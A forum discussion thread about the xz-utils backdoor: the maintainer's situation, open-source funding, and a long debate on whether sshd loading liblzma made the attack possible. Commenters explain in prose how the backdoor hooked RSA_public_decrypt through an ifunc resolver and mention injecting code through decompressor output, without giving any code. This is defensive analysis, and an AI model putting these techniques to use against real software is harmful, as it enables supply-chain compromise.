1. 318
    1. 104

      Can’t imagine what Lasse Collin must be going through right now. Here one of Lasse’s older messages from 2022:

      [..] I haven’t lost interest but my ability to care has been fairly limited mostly due to longterm mental health issues but also due to some other things. Recently I’ve worked off-list a bit with Jia Tan on XZ Utils and perhaps he will have a bigger role in the future, we’ll see. [..] It’s also good to keep in mind that this is an unpaid hobby project.

      Now having a co-maintainer has ultimately backfired. I hope Lasse is doing well.

      1. 59

        He put out a short statement today

        https://tukaani.org/xz-backdoor/

      2. 28

        Publically speaking about mental health open you up to social engineering attack vectors. What a sad and cruel world.

        1. 9

          What’s also sad is people feel the need to add the mental qualifier. As if it was not a part of the regular health.

          “Oh it’s just burnout? I thought you had cancer or something” is probably a concern for many.

          1. 1

            True, I understand what you are trying to convey. It is sad.

        2. 3

          Publicly speaking about mental health opens up you, and everyone who experiences directly or indirectly similar mental health issues, to support and personal and collective understanding of mental health issues, and normalisation of mental health issues in societies and communities.

          The ‘attack vector’ of getting a society to suppress open communication around mental health issues is huge compared to any software attack vector - an adversary would drool over the net effect of getting a nation to steep in its own undiscussed, untreated mental health issues.

    2. 57

      Evan Boehs is constructing a timeline of events that led to the implementation and discovery of the backdoor https://boehs.org/node/everything-i-know-about-the-xz-backdoor

      1. 88

        Hey, that’s me!

        1. 19

          oh hey! that means I get to thank you for it. it was super useful!

          1. 3

            Yeah, thank you, Evan.

        2. 7

          Does no one know what the backdoor does yet? Apart from how it embeds itself ofc

          1. 16

            Apparently pre-auth RCE if a correctly encrypted payload is embedded in the provided cert: https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b

        3. 4

          Thanks for the great post.

          1. 4

            Thanks for reading it <3

      2. 12
        1. 14

          interesting point:

          The real issue with a lot of small, foundational OSS libraries is just that there isn’t enough to do. They were written decades ago by a single person — and beyond bugfixes, they are not really supposed to change much. You don’t do major facelifts of zlib or giflib every year; even if you wave some cash around, it’s hard to build a sustainable community around watching paint dry.

          1. 4

            Based on the the mailing list and open issues on giflib, the maintainer is in need of support. He says he suffered from health issues. And caused delays in rolling out fixes to a couple of memory leaks issues found by the community.

            The maintainer has a Patreon link on the project page, if anyone comes across this comment and is so inclined.

            https://giflib.sourceforge.net/

            It does concern me that there is no organized support by well capitalized and funded organizations for this and many other projects. Patreon is not a long-term solution. I don’t know much about the maintainer, but he should be able to get some benefit for his work, even after he retires. We can’t just abandon these critical contributors because they grow old and sick. Add it to Easter intentions.

            1. 11

              I don’t know much about the maintainer…

              esr is https://en.wikipedia.org/wiki/Eric_S._Raymond. In 2015, he suggested that the “unexpected success of [his] Patreon page” meant it was reasonable to consider him a potential candidate for most famous programmer in the world. In 1999, after VA Linux Systems’ IPO, he called himself “absurdly rich” and stated that “anyone who bugs me for a handout, no matter how noble the cause and how much I agree with it, will go on my permanent shit list”.

              Even if you discount all of the above, there is enough well documented evidence of his racism and misogyny that I don’t feel the need to cite any of it here.

              1. 3

                We don’t have the full picture of his financial situation, but I stand by my principle that maintainers of widely-used open-source projects deserve support. The giflib maintainer had to deal with critical security issues while battling stomach cancer, all without proper infrastructure or compensation. It’s a common struggle for open-source maintainers. The worker deserves his wages.

                Research shows he received 150k shares of VA Linux over 20 years ago as a board member. The stock surged 7-fold after the IPO but crashed shortly after, like many others. As a director, he had a lock-up period preventing him from selling shares immediately. Within a year, the stock fell below $9 per share, and a few years later, it was $2. An average software engineer likely made more last year than he did from VA Linux. Unless he’s bragging about a luxurious lifestyle, his participation doesn’t necessarily mean he’s wealthy. I’d rather see him supporting open source than an MBA pushing dubious licensing schemes or privacy-invading startups.

                Despite the VA Linux situation, he’s expressed admirable intentions like buying rainforest for conservation and remaining humble enough to crash on a friend’s daybed when the local user group can’t afford a hotel. He continues maintaining giflib for free. I don’t believe he’s a bad person.

                My point is that critical open-source maintainers shouldn’t need to rely on personal Patreon accounts for project support, just as Microsoft or Google engineers are paid for their work. It’s reasonable to expect community (especially by well-funded organizations) backing for such essential contributions.

                1. 7

                  My point isn’t that esr is wealthy or that he doesn’t need money, but that he isn’t a random “critical open-source maintainer”. Most people on this site and elsewhere on the Internet would know him for editing the Jargon File in the 1990s, founding the Open Source Initiative, or his history of making inflammatory comments, not for maintaining giflib.

                  In your original comment, you wrote that you “don’t know much about” him. In your response, you wrote that you “don’t believe he’s a bad person”. Your opinion of him might change after you read his writing that is homophobic, racist, or apologetic about Epstein.

                  I assume your framing of this as “giflib maintainer needs money” and not “known bigot Eric S. Raymond needs money” is the result of ignorance of his history, but I think the bigotry is important context here.

                2. 2

                  I have 2 Ubuntu systems within ssh reach, both run-of-the-mill machines, and neither has giflib installed. Just because the maintainer says it’s a critical piece of software, doesn’t mean it actually is.

                  Anyway, begging for scraps via Patreon isn’t viable long-term. For example, I would never donate personally to ESR because I happen to despise him, but I might be interested in paying into a fund that doles out money to maintainers based on some sort of objective criteria[1]. This is similar to how people trying to fund their health care via fundraisers is less effective than simply having a universal health insurance that pays out to everyone based on need.


                  [1] please don’t ask me how such a fund should be implemented.

                  1. 1

                    I understand that giflib is used in all sorts of servers and mobile apps for working with gifs. Buffer overflow issues is a potential security vulnerability.

              2. 0

                VA linux system is sourceforge

                1. 1

                  It was: it changed hands several times these last 12 years. That’s how we got the “adware controversy”, for example.

    3. 50

      Now is a good time to review commits of this person to other projects, e.g. libarchive.

      They were clearly playing the long game to make it all the way to being a maintainer and I wouldn’t be surprised if there’s some state involvement.

      1. 22

        Been involved with Tukaani at least since 2022. Either a nice long game or had their accounts compromised.

        https://tukaani.org/about.html

        1. 26

          All signs are currently pointing to deliberately acting in bad faith, not the consequence of an account compromise. The bad actor is active on mailing lists and private correspondence trying to push adoption of the backdoored versions.

          For one example a private correspondence: https://news.ycombinator.com/item?id=39866275

        2. 16

          For those not familiar with Tukaani:

          Tukaani project began as a Slackware based distribution. Nowadays the Tukaani distribution no longer exists, but the distro work gave birth to a few subprojects. The most important of these is XZ Utils data compression software, whose earlier versions carried the name LZMA Utils.

          Source: https://web.archive.org/web/20110831133615/https://tukaani.org/

        3. 9

          At the risk of being seen to carry water for a bad actor, I think it’s probably too soon to be assigning blame to an individual person/persona.

          It’s right that we scrutinise their other activity, but I’ve already heard people accusing them of being all sorts of things when it wouldn’t be the first time that an attack was inserted via a credible member of a project.

          1. 3

            It also looks like they accept patch via mailing list. So even though they merged it, it could have come through the list. Still poking a bit at that.

        4. 7

          accounts compromised

          If so, their signing key too.

          1. 16

            Could have been compromised by pipe-wrench too.

      2. [Comment removed by author]

    4. 34

      The HN comments are quite good, surveying which distros have affected packages. EDIT: they also point out another backdoor in libarchive. I don’t think we’ve seen the full scope of this attacker yet. I wonder if searching for changes similar to these backdoors turns up other compromised committers to other projects.

      This is a real ugly situation, especially that it’s quite sophisticated and was apparently only caught by someone noticing a perf regression. Future attacks are likely to be more convincing.

      1. 21

        Future attacks are likely to be more convincing.

        Why future? If this is nation state funded, it’s possible that this is only one of many sockpuppet accounts of a group and they have many different accounts playing long games. There are so many critical infrastructure libraries maintained by burnt out volunteer maintainers. I hope that companies earning billions, partly from work from volunteer FLOSS maintainers, will soon realize that it’s important to start funding larger groups of maintainers, even if it does not directly benefit their bottom line.

        1. 5

          Why future? If this is nation state funded, it’s possible that this is only one of many sockpuppet accounts of a group and they have many different accounts playing long games.

          Completely agree.

          With that said, even if every megacorp suddenly took a wildly generous attitude toward the open source maintainers whose products they use, even if the amount of new funding was beyond the most optimistic predictions, it would not solve this problem.

          Even with alert, well-paid maintainers, sophisticated long con attacks will still slip through. And even if you imagine all PRs being committed only by vetted, full time maintainers, attackers with this kind of drive will just become one of those maintainers over time.

      2. 6

        Doesn’t look like another backdoor to me. The safe_fprintf function appears to be concerned with non-printable characters. If the archive error string can be crafted by an attacker to contain some heinous non-printables like terminal escape sequences then maybe there’s something there, but from a cursory glance I can’t tell whether that’s the case and whether the impact will just be a social engineering kind of attack.

        1. 11

          Not a given - non printables are part of the terminal ‘machine’ instruction set. Hard to do blind of course, but there’s enough ‘arbitrary execution’ custom OSC etc. sequences to play in all the “modern” pig lipsticking going on. Even in the mundane set we recently we have this:

          https://people.rit.edu/sjf5462/6831711781/wall_2_27_2024.txt

    5. 33

      Hypothetically, if attacks like this existed in any of the thousands of libraries used in a typical Linux distribution, but were slightly more effectively obfuscated, how would you find them?

      1. 13

        This is the post that concerns me the most. It was only discovered because someone noticed their SSH server was a bit slow. If the exploit took performance into account it likely could have been undetectable in this way.

      2. 2

        I want to preface by saying I am just as worried as you are. But I want to offer a counterargument.

        This attacker is good, they meticulously worked 2 years, hiding their tracks very well. Yet once they made a move, it was quickly discovered. Perhaps someone will find this one way or another

      3. 1

        I imagine the long-term answer has to be automation. Increased awareness will help a little (now we have a concrete example of the software community being under attack!), but humans are fallible. If there’s a feature you want in your open-source project, and an Internet stranger offers to implement it for you… it’s hard to say no! Especially if that stranger builds up trust over time, which is what happened here.

        As far as existing automation, the backdoor did cause Valgrind to complain in someone’s automated tests. For the guy who discovered the backdoor, it was that plus the increased CPU usage that made him suspicious: we had two subtle clues that something was up. Perhaps a slightly more hidden backdoor would only trigger one of these — and in order to find it, we would have to be vigilant, assuming the worst when one of our tools starts acting funny.

        Other ideas I’ve seen people throw around: Automated monitoring of system calls, so that changes in behavior can be detected; still doesn’t guarantee we’d catch everything, but at least it would make some invisible things visible. AI is in vogue, and perhaps an LLM could be trained to detect abnormalities in build scripts (or even binary files); downside is attackers could then craft their attacks to sneak past publicly-available AI models. Maybe it’s a problem we can throw money at, via security audits and more funding for OSS development (by developers with verified identities)?

    6. 27

      I would like to read another timeline that this post only touches on.

      How did sshd come to share an address space with xz-utils? This seems to have happened only in the last ~10 years.

      That is, a security-sensitive project grew a dependency on a pile of C code from hobbyists, that was not well maintained.

      I don’t see this architecture issue covered in many of the articles – they are focusing more on the social engineering, the details of the shell obfuscation, and how the executable payload works.

      I might have missed it, so I’m interested in some pointers


      I read a little bit about it on Hacker News, then I googled “systemd sshd lzma” and pretty much got the same Hacker News thread back:

      https://news.ycombinator.com/item?id=39866076

      What I gather is

      • Upstream sshd does not depend on systemd or xz-utils (which includes liblzma.so) - obviously, because it has an OpenBSD lineage, and systemd is Linux-only
      • sshd on Debian has some kind of systemd notification feature (why?).
        • Debian developers chose to depend on libsystemd.so to implement this, but as mentioned in this thread, this isn’t necessary.
        • You can write a trivial message to a Unix domain socket instead.
        • So it appears they took on ~1 million lines of dependency to add a feature that takes 10 lines of C? I would be interested in any clarification.

      Second, why did systemd depend on xz-utils? Maybe to read compressed logs or something?

      So there are at least two dependency problems:

      1. sshd -> systemd
      2. systemd -> xz-utils.
      • Can we simply use pipes here?

      These both seem like failures to use the Unix philosophy. I should dig up some references and put it on the blog, but here are a couple:


      Art of Unix Programming (2003) - Internal Boundaries

      http://www.catb.org/esr/writings/taoup/html/ch03s01.html#id2892171

      Unix has at least three levels of internal boundaries that guard against malicious users or buggy programs. One is memory management; Unix uses its hardware’s memory management unit (MMU) to ensure that separate processes are prevented from intruding on the others’ memory-address spaces. […]

      The strength of an operating system’s internal boundaries is not merely an abstract issue of design: It has important practical consequences for the security of the system.

      To design the perfect anti-Unix, discard or bypass memory management so that a runaway process can crash, subvert, or corrupt any running program.


      From DJB’s “Thoughts on security after 10 years of qmail” - https://cr.yp.to/qmail/qmailsec-20071101.pdf

      Section 5.2 Isolating single-source transformations in a sandboxed process


      I also criticized Rust’s tendency toward static linking a few days ago, saying that exterior composition with processes is not only more scalable, but works perfectly for both compression, and YAML -> JSON transformations:

      https://lobste.rs/s/zag1bo/on_tech_debt_my_rust_library_is_now_cdo#c_zkcvmj

      Compression is also pretty perfect – tar.gz and tar.xz is that way for a reason on Unix, and it seems to be a feature, not a bug. You can install tar and gzip, but not xz, and plenty of systems are actually configured that way.

      (hm this seems like the perfect quote in retrospect – a couple days before the xz backdoor was announced)


      The part of rsc’s post that does touch on this dependency chain is a PR from February that “downgrades” the systemd -> xz-utils dependency:

      https://github.com/systemd/systemd/pull/31550

      I think this prevents the dependency from being automatically loaded, when it’s not used.

      But when it is used, it’s still in the same address space. Which allows Jia Tan to put his hooks in sshd.

      1. 9

        Shorter way to ask this question - when did this avenue of attack become available?

        That’s at least as interesting as the attack itself.

        I’m guessing it was when Debian and Fedora switched to systemd, but I don’t know for sure.

        If xz-utils isn’t loaded into the sshd address space, then there’s no reason to do this social engineering against the xz maintainer.

        Was xz-utils a command line tool for most of its life? That’s what I though of it as. And then due to Debian/Fedora/systemd changes, it silently became a critical project, and attackers’ attention was focused on a single maintainer?

        1. 5

          Shorter way to ask this question - when did this avenue of attack become available?

          Looks like libsystemd was linked late 2015, hitting unstable after jessie and before stretch.. Jessie, released April 2015, is where systemd became the installer default. A quick scan of the systemd news file makes me think liblzma was already linked to libsystemd at that time, but I didn’t go digging deep to be certain.

          1. 3

            A quick scan of the systemd news file makes me think liblzma was already linked to libsystemd at that time

            it was a dep as early as 2012 https://gitlab.archlinux.org/archlinux/packaging/packages/systemd/-/commit/2c3b600e967f25cdde6f19661bf789c8b92b469a#9b9baac1eb9b72790eef5540a1685306fc43fd6c_0_10

            1. 3

              I think adding this to Russ’ prologue would be a great addition, possibly also with the switch-over to defaulting to systemd as part of Setting The Stage.

        2. 4

          One reason why people might want (what anyone actually wants always “depends on a lot”) a library is the same context where catz.md is “not quite perfect” - namely, when the O(100us or more w/dynamic linking) overhead of execve is large compared to decoding & other work done (and the time matters at all, of course). For compressors that is easy to map to a user-visible description of “many small files” (e.g. a man page file sub-tree). In such a scenario, a library solution can be O(100X) lower overhead and this might matter.. sometimes.

          As an experiment, on my system I have about 20,000 man pages. Doing a ripgrep --pre=catz foobarbaz on those 20,000 files via 4 cpus which (predominantly bzip2-compressed) takes about 2.0seconds. Divide by 5,000 (4 cpus) and that’s 400 microseconds per file. My catz and bunzip2 are both statically linked and a single double-execve takes 200-250 us for a minimal file. So, roughly 50% “dispatch overhead”. 2s is pretty trivial even compared to the time to compose this post. So, shrinking 2s to 1s is maybe not worth it, but you know, some people care and others might have 2e6 small files. It’s just an example experiment. (At some cost of can-the-decoder-program-do-that?? generality, one might server-ize catz and send messages to start decodoing new files maintaining separate-program-hood, but the reality of these decoder programs is to mostly do one-file-at-a-time - so any such would probably really be linking against a forest of libs anyway, returning to the original thing.)

          Anyway, if in this “extreme” example it’s only O(2X), I doubt systemd ever needed linking against the libraries vs. using the CLI tool as it deals with handfuls of files by comparison, but @ibookstein makes a solid sibling point that an MMU boundary is only part of a full security boundary given, e.g. ptrace(2). I was mostly trying to caution Re: “perfection” here. I think many regard systemd as an unnecessary complexity explosion on many fronts (and that may possibly relate to being done/pushed by a big company like RedHat/IBM justifying licensing/support fees). There’s been a lot of chatter about xz due to its intentionality / the game theory / intrigue of it all, but vulnerabilities from bugs from complexity will be the more common vector for the foreseeable future.

          1. 1

            Yes, great experiment! I agree people sometimes try to justify “interior” composition with performance

            But I don’t believe performance is a strong argument, particularly in this case.

            I think shying away from multi-process composition is due to some combination of

            1. devs try to write “portable” code, and composition with processes isn’t common on Windows
            2. simply not being aware that this is a classic Unix technique

            We’re talking sshd here, so yeah Windows doesn’t matter. But some non-Unix line of thinking has sort of “infected” modern Linux software.


            I often use git+ssh as an example of the Unix philosophy. Should git have encryption built into it? No, it can simply use ssh over a pipe.

            The Windows philosophy would probably be to statically or dynamically link git and ssh together, and the latter creates famous “DLL hell” because of confusion around what interfaces are actually stable

            1. 2

              To self-criticize, it would have been a better experiment if I used seq or something to generate 1_000 and 1_000_000 small files or something else more tunable and reproducible by, I don’t know, anyone else. ;-)

              Anyway, I don’t disagree and I’ve been a Windows hater most of my life, but would amplify that it’s something more fundamental than processes or even software. People often soften firm module boundaries for performance. The ancient Micro Kernel/Monolith debate relates to this as well. I know Apple really softened a lot of Microkernel stuff in OS X for perf. It probably also turns up in hardware & circuit design, and honestly even in physical factory production scenarios or, in its most abstract form, even conversations/business meetings (with/without “pre-written agendas”). Herb Simon was an early thinker in all this (generally far outside what we call HW/SW, but you know people buy/sell/make/use HW/SW in big competitive & decentralized ways).

              Much trouble stems from “ ‘acceptable’ overhead in many dimensions, including at least time, space, robustness/accuracy, security/operational-procedural, mental) being contextual”. (Why I tried to give the million small files example.) Contexts vary, but people trust and then port/do solutions “proven” in one context to others. With high-dimensional trade-off spaces, it’s super easy to find oneself in a bad corner. >1 dimension is already a big problem since priorities can vary. By 3 much confusion/cross-talk tends to ensue - even just space-time-accuracy. Add in variability of ‘acceptable’ and, oh boy – it’s hard to make firm conclusions, but firm pitches “sell” more than highly contextual, qualified theories. Anyway, a lot of this is a kind of Humanity-Complete topic to me. I often just say “beats me”.

      2. 5

        I don’t see how separating the dependencies out to different address spaces would have necessarily helped here. Address spaces aren’t a security boundary, because I can modify the address spaces of processes that I have access to. So long as liblzma would have been loaded into a privileged security context at startup, the system would still be compromised. As far as I can tell, to achieve something better from a security perspective, you still need sandboxing.

        1. 5

          I guess the point is that separate processes can be sandboxed separately (and typically are in situations like this) à la qmail from 1997 and the standard privsep practice used on OpenBSD (and elsewhere) for decades now.

          1. 4

            So a big improvement would’ve been for systemd to call out to xz as a subprocess while lowering its privileges. I’m still wondering how much damage xz could do from that position, simply by manipulating its payload. I can imagine a program treating a compress-decompress cycle as an identity operation, so you could probably violate some serious internal consistency conditions.

            1. 4

              Yeah, maybe… but it certainly wouldn’t have been able to iterate over the GOT/PLT tables to replace RSA_public_decrypt in the sshd process!

              1. 1

                Why isn’t the ability to do that blocked on a security sensitive process like sshd? IIUC they used ifunc because it runs early enough that the readonly mapping defenses are not yet active, but do we really need ifunc on sshd? Sure, it is a performance optimization, but you could compile ahead of time a couple of versions (of libc) optimized for various microarchitectures, and not require runtime code modification. IIUC ifunc support requires runtime linker support, so perhaps there is a way to disable this via env vars? I couldn’t find it though (we’d need to stop running the ifunc dispatcher I think, turning off hwcaps would only turn off the built-in CPU feature based ifunc, not custom resolvers)

            2. 1

              See https://lobste.rs/s/nbztsg/timeline_xz_open_source_attack#c_r75ho1 Decompress-compress is a good idea for detecting the attack, but compression output may be different for legitimate reasons too: different flags used, different compressor version, different architecture, different hashtable order, etc. Decompress-compress-decompress might work, the attacker needs to be careful not to increase the size of the output on each cycle (the original Ken Thompson C backdoor had that bug, but there is a fixed version that doesn’t have the bug). A better approach is as you suggest to ensure that ‘compress-decompress’ is the identity transform by checking the hash or signature of the decompressed stream (independently of the decompressor!), and including this information in the rpm/deb package container, I don’t know whether it already is included.

        2. 1

          That’s a decent point, but we’re not in the land of classic Unix anymore. Russ Cox explains it

          https://research.swtch.com/xz-script

          The effect of the scripts is to arrange for the nefarious object file’s _get_cpuid function to be called as part of a GNU indirect function (ifunc) resolver. In general these resolvers can be called lazily at any time during program execution, but for security reasons it has become popular to call all of them during dynamic linking (very early in program startup) and then map the global offset table (GOT) and procedure linkage table (PLT) read-only, to keep buffer overflows and the like from being able to edit it. But a nefarious ifunc resolver would run early enough to be able to edit those tables, and that’s exactly what the backdoor introduced. The resolver then looked through the tables for RSA_public_decrypt and replaced it with a nefarious version that runs attacker code when the right SSH certificate is presented.

          So my reading is that for this attack, it would be too late for another process to modify its address space after the fact.

          In that case the GOT would be locked down.


          Remember that there are already A LOT of security mitigations out there – Jia Tan had to disable the fuzzing service. Valgrind flagged it, etc.

          This was likely one of the best ways the attack could be executed. So I can easily imagine the whole thing being thwarted by putting xz-utils in a separate address space.

          It wouldn’t even have been interesting for an attacker. They wouldn’t have even bothered Lasse Collin if this stray dependency in sshd, which he had nothing to do with, weren’t there.

          As far as I understand, assembly level “gadgets” that already exist in the address space are one of the main things that attackers look for. Less sophisticated approaches take 10x more effort for them, or are infeasible.


          Also, as mentioned, you can drop privileges in the xz-utils process. You can’t do that with dynamic linking of course.

          1. 2

            I think you’re applying an incorrect threat model here. The mitigations you describe make it harder for an attack that attempts to utilize a Remote Code Execution attack surface, probably via memory safety vulnerabilities. Such attack surfaces are what an attacker uses to gain an initial foothold, in the form of code execution within some security boundary. The described backdoor is by definition already past that. It can unprotect a GOT (unless the kernel has sandboxing facilities to prevent changing these protections past a certain point in time). It can ptrace processes to which it has the appropriate rights, and do arbitrary things to them. To quote Raymond Chen, it is already “on the other side of the airtight hatchway”.

            Dropping privileges in a hypothetical xz-utils process is a form of sandboxing, but it can be suppressed if dropping privileges is a voluntary act by the code in that process (since the backdoor is part of that process, so if it executes code early enough it can make decisions as to what further code gets to execute). If the sandboxing is done by the creator of that process, then yes, the backdoor is sandboxed, and now has the sandbox as a security boundary it might need to get past.

            1. 1

              The described backdoor is by definition already past that. It can unprotect a GOT (unless the kernel has sandboxing facilities to prevent changing these protections past a certain point in time

              It’s past that precisely because xz-utils shares an address space with sshd.

              What I’m saying is that they shouldn’t share an address space. They could use multi-process composition instead – write to systemd Unix domain sockets with a library, compress over pipes, etc.

              but it can be suppressed if dropping privileges is a voluntary act by the code in that process (since the backdoor is part of that process, so if it executes code early enough it can make decisions as to what further code gets to execute)

              The backdoor is only a part of the sshd process because xz-utils shares an address space with sshd.

              Is sshd vulnerable to libpython.so or libruby.so on the same system? Why or why not?

              Is ssh myprog.py the same level of threat as dynamically linking Python?

              1. 2

                It’s past that precisely because xz-utils shares an address space with sshd. What I’m saying is that they shouldn’t share an address space. They could use multi-process composition instead – write to systemd Unix domain sockets with a library, compress over pipes, etc.

                You’ve missed my point. Again we come back to the assumption that address spaces are security boundaries. They are not. They are only fault tolerance boundaries, unless we endow them with additional properties. To arrive at this conclusion, we need only put these two facts together:

                1. The existence and capabilities of modern debuggers (gdb, lldb) prove that a process can modify the address space of another process to which it has the appropriate access (using the ptrace system call on Linux systems).
                2. The binary relation “(pid1, pid2) iff pid1 can debug pid2” is not trivial.

                The backdoor, by definition, is acting as part of some library. It therefore has, by definition, gained code execution on a system. It doesn’t care about whether a GOT is protected or not, it’s not performing an RCE attack over some attack surface. It can now decide whether the GOT gets protected or not, or alternatively, remove its protection using a syscall.

                The “airtight hatchway” across which the backdoor is definitionally already past is “running instructions on a system to which you should have no access”. There are further “airtight hatchways” which it could already be past, depending on what library it’s impersonating: it could be running as root, if it infiltrated the TCB. It could be running in the kernel, if it were part of a driver.

                A scheme in which a process hierarchy of sshd > systemd > xz-utils is more secure is a scheme in which there’s an appropriate reduction of privileges across each relationship. A problem with that is that composability would guide you towards having each program drop its own privileges (because it knows best what it needs), but since the backdoor is the program, that’s less helpful here. The infected program could simply elect to not drop its own privileges. A scheme in which the creator of the process creates it with already reduced privileges would reduce the affected surface, but it requires the creator to know what it should grant the child process, which is less composable.

                1. 1

                  I think you’re ignoring the existence of GNU IFUNC. You’re making an abstract argument that doesn’t fully capture reality.

                  https://sourceware.org/glibc/wiki/GNU_IFUNC

                  My understanding:

                  1. The xz build process creates an .o file, injecting testdata as executable code in the dynamic library
                  2. The sshd starts, and dynamically loads the xz dynamic library
                  3. The IFUNC mechanism happens before main(). The xz library can register functions as “performance enhancements” that replace functions in sshd
                    • In particular, the attacker can hook functions called from sshd main(). He doesn’t have to wait until a function in xz is actually invoked to hook into sshd. It can be done at startup.
                  4. This is how the exploit is installed
                  5. The GOT is locked down after startup.
                  6. Only root can change page protection tables
                  7. When a user ssh’s to the sshd, the the xz-utils binary code is run in SSH’s normal code path. xz-utils has replaced sshd code.

                  I could be wrong in some of the details, but I don’t think I’m wrong in that xz-utils is a good place to attack.

                  Suppose I invent a compression library libzandy. Suppose it’s installed on all Debian and Fedora systems, but it’s not dynamically linked by sshd. It’s just a command line tool.

                  Do you think that libzandy is an equally attractive target as xz / lzma? Is Jia Tan going to bother me?

                  No, because it’s not dynamically linked with sshd.

                  1. 1

                    In this context GNU IFUNCs are just a fancy way to run code early in the lifetime of the process. You could also register a global constructor (DT_INIT/DT_INIT_ARRAY) to have code run early, or somehow take control of a code path in the library that is guaranteed to run. These are all just mechanics. The point is that so long as you’re guaranteed to control the program counter at some point in the lifetime of the process, the process is compromised, and the privileges it has are now also the attacker’s.

                    Whether the GOT was locked down by the run-time dynamic linker or not has no bearing on anything at this point, because at this point no one cares about the GOT. We’re already running malicious code, which can call mprotect() and unlock the GOT again (but why bother? who cares? this is a hardening used to make it harder to gain Remote Code Execution by overwriting the GOT by exploiting a memory safety vulnerability, but we’re already executing code). The statement that only root can change page table protection attributes is wrong. You can just call mprotect() with different protection settings, and the kernel will happily mutate the page protection attributes for you.

                    The degree to which a library is an attractive target is determined by whether it gets loaded at all, and under which security contexts (e.g. does it get loaded into a process with a strong euid, such as root?).

                    All this is to say, you’re mixing topics that belong to different attack surfaces. RELRO (which, to my knowledge, is the hardening setting that locks the GOT down after relocating it) makes it harder to remotely exploit memory safety vulnerabilities. Same with ASLR, glibc ptmalloc2 safe unlinking and other heap integrity checks, stack canaries and more. These are all simply no longer relevant once you are part of the executable code itself.

                    The code contained in the backdoor could directly open a connected shell, if it is exposed to a network namespace. It could jump to another process which it has the privileges to debug (barring sandboxing/other mitigations). If it gets loaded into root, it owns the entire machine and not just the hapless user whose process loaded the malicious library. But whatever it may be, it can now expose the privileges it has gained, simply by virtue of being loaded, to a remote attacker, which is the purpose of a backdoor.

                    1. 1

                      Eh I simply don’t agree, and you’re not answering my questions

                      You could also register a global constructor (DT_INIT/DT_INIT_ARRAY) to have code run early

                      How is libzandy going to do that if it’s not dynamically linked with the sshd process?

                      liblzma can, because it is dynamically linked, and because GNU ifunc exists on Debian and Fedora.

                      You’re saying OK it might be possible with ptrace() – I don’t think that’s always true, again I quoted:

                      Later Ubuntu versions ship with a Linux kernel configured to prevent ptrace attaches from processes other than the traced process’ parent

                      and I also think it makes the attack much more expensive.

                      ASLR exists, and other mitigations exist.

                      Again, it’s economics, and not yes/no. Exploits are chains.

                2. 1

                  Also, ptrace() has security mitigations, even related to SSH specifically. There is stuff in Linux that’s not in classic Unix that makes it more secure. Your model is too simple.

                  Security also isn’t binary BROKEN / NOT BROKEN – it’s economic. All real exploits are chains now.

                  In theory, an attacker may be able jump across address spaces if they chain 15 exploits instead of 10 exploits.

                  That may require them to hire 30 people instead of 5 people. So they are going to choose the juicier target, which is why you need defense-in-depth, and you can’t think of it as an YES/NO kind of thing.

                  xz-utils is a very juicy target because it’s loaded into the sshd address space on Debian and Fedora (edit) AND because GNU ifunc exists on Debian/Fedora.

                  https://en.wikipedia.org/wiki/Ptrace

                  Linux also gives processes the ability to prevent other processes from attaching to them. Processes can call the prctl syscall and clear their PR_SET_DUMPABLE flag; in later kernels this prevents non-root processes from ptracing the calling process; the OpenSSH authentication agent uses this mechanism to prevent ssh session hijacking via ptrace.[23][24][25] Later Ubuntu versions ship with a Linux kernel configured to prevent ptrace attaches from processes other than the traced process’ parent; this allows gdb and strace to continue to work when running a target process, but prevents them from attaching to an unrelated running process.[23] Control of this feature is performed via the /proc/sys/kernel/yama/ptrace_scope setting.[23] On systems where this feature is enabled, commands like “gdb –attach” and “strace -p” will not work.

      3. 5

        If xz or liblzma is backdoored there are other ways to attack a system than attacking sshd, because it does run in other security sensitive contexts:

        • Package sources can be compressed with xz, a backdoored xz could modify it to insert a backdoor into an arbitrary package at build time. AFAIK signatures are checked on the compressed archive, not the uncompressed one. Running ‘xz’ in a sandbox wouldn’t prevent this, all it needs is the ability to modify it’s own output. Reproducible builds might detect this, if only some build machines are backdoored, and the exact version of the decompressor is not part of the dependencies. I’m not sure whether a duly reproducible system like Nix would detect this though, if it includes the exact decompressor version in the build derivation then it may not

        • Some distributions can compress the packages themselves with xz. Again I think the compressed form is signed, so a backdoored decompressor can inject arbitrary code into any packages, including those that run as root. Not everything uses xz though, e.g. Fedora uses zstd, but CentOS 7 through 9 uses xz. A defense against this might be to also sign the uncompressed form, or at least include it’s hash.

        Sure, reducing the amount of programs that unnecessarily link liblzma reduces the attack surface, and prevents this particular backdoor from working, but as long as there is still at least one remaining where the output of xz is used to run something as root the possibility of a backdoor remains. Although they’d also leave more traces as it wouldn’t be a purely runtime attack, increasing the likelihood of early detection.

        This particular backdoor was in xz, and it wasn’t an attempt to insert a backdoor on-the-fly into it’s output, but might’ve (or could) happen(ed) in other decompressors too. I’m not sure how to best defend against that possibility, but perhaps multiple independent implementations of the decompressor could detect backdoor attempts (assuming they can’t backdoor them all at once). Similar to the ‘diverse double compilation’ defense against compiler backdoors. In fact the other implementations don’t have to be (very) performant, or support all the features of the original. It only needs to produce bit-by-bit identical output when decompressed (supporting new features such as new filters, etc may not work, but packages don’t need to squeeze out every last bit of 0.1% size reduction…)

        1. 1

          Sure, reducing the amount of programs that unnecessarily link liblzma reduces the attack surface, and prevents this particular backdoor from working, but as long as there is still at least one remaining where the output of xz is used to run something as root the possibility of a backdoor remains.

          I don’t really disagree with anything here, I’d just say “defense in depth” is a good thing, and multi-process composition is almost certainly better for this case. (I haven’t heard any arguments otherwise)

      4. 5

        So it appears they took on ~1 million lines of dependency to add a feature that takes 10 lines of C? I would be interested in any clarification.

        Not whole systemd is dependency of OpenSSH there, only libsystemd. But yes, that library is pointlessly big, especially as most of the useful stuff there can be implemented with only 1 dependency - libc. And I know that, because I implemented it in Erlang.

        EDIT:

        systemd notification feature (why?)

        Because this allows daemons to report availability in more reliable way than just “it started so it must be working”. The protocol is simple though and it do not require whole libsystemd to be used there.

      5. 5

        notifications are to make scheduling services easier, e.g. something that depends on sshd (lets say, some cursed service that uses ssh to elevate privileges or something) can’t run just because sshd is running, it needs to wait until sshd is ready to receive connections.

        There are also additional features that would improve the security of sshd in turn, e.g. removing sshd’s need to listen on sockets, via .socket files (while still being completely aware of socket metadata, unlike inetd) [see reply]. For auditability, fully featured, metadata’d, and templated logging. Both of which are probably the reason for pulling the dependency now instead of doing everything bespoke and potentially making a bunch of mistakes.

        From the “new world” of dependencies. There is upstream support for Kerberos, PAM, other compression methods, X11. Its not exactly a safe world?


